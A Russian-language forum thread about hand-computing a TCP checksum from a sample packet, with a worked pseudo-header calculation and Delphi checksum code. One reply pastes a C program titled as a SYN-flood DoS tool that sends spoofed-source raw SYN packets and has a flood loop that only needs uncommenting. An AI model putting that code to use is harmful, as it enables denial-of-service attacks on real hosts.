Помогите пожалуйста разобраться как подсчитать контрольную сумму на примере конкретного пакета TCP (приведен IP пакет + TCP пакет). 45 00 00 28 7a da 40 00 80 06 27 e7 0a b3 a1 e0 0a b3 a0 c8 05 92 0c 38 8a 17 6b fb e4 22 4f da 50 10 40 29 db c2 00 00 синий - IP header зеленый - SRC IP черный - DST IP фиолетовый - TCP header красный - контрольная сумма Проблема в том что считаю на калькуляторе - складываю по два байта. 0a b3 + a1 e0 + 0a b3 + a0 c8 + 00 06 = сумма псевдозаголовка - Длина TCP-сегмента (с определением длины проблемы) 05 92 + 0c 38 + 8a 17 + 6b fb + e4 22 + 4f da + 50 10 + 40 29 = сумма TCP далее суммирую эти две суммы инвертирую результат и получаю значение большее на 0x19 чем значение КС. при этом я не прибавляю длину TCP-сегмента. соответственно 0x19 -- длина сегмента. но вопрос в том что везде написано что Код (Text): Длина TCP-сегмента (TCP length) — содержит в себе длину TCP-сегмента (TCP-заголовок + данные; длина псевдозаголовка не учитывается) в октетах, то есть совпадает с одноименным полем в TCP-заголовке. если это значение в октетах то получается уж слишком болшая длина. Помогите пожалуйста не могу разобраться никак где я что не так считаю и какое значение длины подставлять в расчеты.
Сначала расчитывается контрольная сумма для следующей структуры: Src IP: 0a b3 a1 e0 Dst IP: 0a b3 a0 c8 Zero: 00 (const) Proto: 06 (по смещению 9 в IP Header) TCP_Len: 00 14 (0x0028 - 0x14) TCP_Len скадывается из: длина TCP Header, длина доп. опций, длина полезных данных. В данном случае только длина TCP Header. Считаем контр. сумму: 0xB30A + 0xE0A1 + 0xB30A + 0xC8A0 + 0x0600 + 0x1400 = 0x032955 Затем к этой контрольной сумме добавляем контрольную сумму от TCP Header: 05 92 0c 38 8a 17 6b fb e4 22 4f da 50 10 40 29 00 00 00 00 Считаем: 0x032955 + 0x9205 + 0x380C + 0x178A + 0xFB6B + 0x22E4 + 0xDA4F + 0x1050 + 0x2940 + 0x0000 + 0x0000 = 0x032955 + 0x0313C9 = 0x063D1E Полученное значение "нормализуем": 0x0006 + 0x3D1E = 0x3D24 , NOT(0x3D24) = 0xC2DB ЧТД.
мне статейка на педивики помогло, и вот ыщо, что: Код (Text): /* Syn Flood DOS with LINUX sockets */ #include<stdio.h> #include<string.h> //memset #include<sys/socket.h> #include<stdlib.h> //for exit(0); #include<errno.h> //For errno - the error number #include<netinet/tcp.h> //Provides declarations for tcp header #include<netinet/ip.h> //Provides declarations for ip header struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } int main (void) { //Create a raw socket int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); //Datagram to represent the packet char datagram[4096] , source_ip[32]; //IP header struct iphdr *iph = (struct iphdr *) datagram; //TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); struct sockaddr_in sin; struct pseudo_header psh; strcpy(source_ip , "192.168.1.2"); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); memset (datagram, 0, 4096); /* zero out the buffer */ //Fill in the IP Header iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph->id = htonl (54321); //Id of this packet iph->frag_off = 0; iph->ttl = 255; iph->protocol = IPPROTO_TCP; iph->check = 0; //Set to 0 before calculating checksum iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); //TCP Header tcph->source = htons (1234); tcph->dest = htons (80); tcph->seq = 0; tcph->ack_seq = 0; tcph->doff = 5; /* first and only tcp segment */ tcph->fin=0; tcph->syn=1; tcph->rst=0; tcph->psh=0; tcph->ack=0; tcph->urg=0; tcph->window = htons (5840); /* maximum allowed window size */ tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */ tcph->urg_ptr = 0; //Now the IP checksum psh.source_address = inet_addr( source_ip ); psh.dest_address = sin.sin_addr.s_addr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(20); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header)); //IP_HDRINCL to tell the kernel that headers are included in the packet int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) { printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno)); exit(0); } //Uncommend the loop if you want to flood :) //while (1) //{ //Send the packet if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->tot_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ { printf ("error\n"); } //Data send successfully else { printf ("Packet Send \n"); } //} return 0; } на дельфинариях помоему гдето тоже в сети есть
А вот вам и делфинарий ))) Код (Text): type PTCPHeader = ^TTCPHeader; TTCPHeader = packed record Eth: THdrEthernet; IP: THdrIP; TCP: THdrTCP; end; // TCP pseudo-header for checksumming PHdrTCPAdv = ^THdrTCPAdv; THdrTCPAdv = packed record sip : DWORD; dip : DWORD; zero : Byte; proto : Byte; tcp_len : Word; end; function finish_sum(sum: Cardinal): Word; begin sum := (sum shr 16) + (sum and $FFFF); sum := sum + (sum shr 16); Result := Cardinal(not sum); end; function ip_checksum(iph: PHdrIP; DataSize: Cardinal): Word; begin Result := finish_sum(checksum(PChar(iph), DataSize, 0)); end; function tcp_checksum(iph: PHdrIP; tcph: PHdrTCP; TCPDataSize: Cardinal): Word; var ph: THdrTCPAdv; sum, i, c: Cardinal; begin // Make pseudo-header ph.sip := DWORD(iph^.saddr.S_addr); ph.dip := DWORD(iph^.daddr.S_addr); ph.zero := 0; ph.proto := iph^.protocol; ph.tcp_len := ntohs(Word(TCPDataSize)); // Checksum the pseudo-header sum := checksum(@ph, SizeOf(ph), 0); // Checksum the header+data sum := checksum(PChar(tcph), TCPDataSize, sum); Result := finish_sum(sum); end; var buf: array [0..1500] of Byte; p: PTCPHeader; TCPOptSize: Cardinal; DataSize: Cardinal; tcphlen: Word; optoff: Cardinal; dataoff: Cardinal; begin ... DataSize := 0; // размер данных p := @buf[0]; p^.Eth.dmac := StrToMac(edtDestMac.Text); p^.Eth.smac := StrToMac(edtSrcMac.Text); p^.Eth.protocol := htons(ETH_P_IP); p^.IP.ihl_ver := (4 shl 4) + (SizeOf(THdrIP) div 4); // IPv4 + 20 bytes of IP header p^.IP.tos := 0; // IPTOS_LOWDELAY; p^.IP.tot_len := 0; p^.IP.id := htons(Random($FFFF)); // identification p^.IP.frag_off := htons(IP_DF); // Don't Fragment p^.IP.ttl := 128; // IPDEFTTL; // живучесть пакета p^.IP.protocol := IPPROTO_TCP; p^.IP.check := 0; p^.IP.saddr := StrToIP(Form1.edtSrcIP.Text); p^.IP.daddr := StrToIP(Form1.edtDestIP.Text); UsedDestIP := Cardinal(p^.IP.daddr.S_addr); TCPOptSize := TCP_OPT_MSS_LEN; // размер доп. опций TCP tcphlen := SizeOf(THdrTCP) + TCPOptSize; p^.TCP.source := htons(Random(20000)+4000); p^.TCP.dest := UsedDestPort; p^.TCP.seq := Cardinal(htonl(Random($8FFFFFFF))); p^.TCP.ack_seq := Cardinal(htonl(0)); p^.TCP.hlen := Byte(tcphlen shr 2) shl 4; p^.TCP.flags := TCP_SYN; p^.TCP.window := htons(8712); // Receiver flow control window p^.TCP.check := 0; p^.TCP.urg_ptr := 0; // используется, если установлен TCP_URG optoff := SizeOf(THdrEthernet) + SizeOf(THdrIP) + SizeOf(THdrTCP); Byte(buf[optoff]) := TCP_OPT_MSS; // View Byte(buf[optoff+1]) := TCP_OPT_MSS_LEN; // Len of Options PWord(@buf[optoff+2])^ := htons(1460); // Optional max seg size dataoff := optoff + TCP_OPT_MSS_LEN; PWord(@buf[dataoff])^ := 0; p^.IP.tot_len := htons(SizeOf(THdrIP) + SizeOf(THdrTCP) + TCPOptSize + DataSize); // общая длина (без учёта Ethernet части) p^.IP.check := ip_checksum(@p^.IP, SizeOf(THdrIP)); p^.TCP.check := tcp_checksum(@p^.IP, @p^.TCP, SizeOf(THdrTCP) + TCPOptSize + DataSize);
Спасибо. А я байты местами не менял и у меня ничего не получалось. Но все равно вопрос по длине TCP-сегмента в псевдозаголовке. На http://ru.wikipedia.org в описании протокола TCP пишут т.е. длина указывается в октетах. Получается что если брать длину в 0x14 (TCP_Len: 00 14 (0x0028 - 0x14)) октетов то длина сегмента с данными у меня должна быть 80 байт. Или я что-то не так понял может кто подскажет есть ли четкое описание протокола TCP с конкретным описанием алгоритма вычисления КС.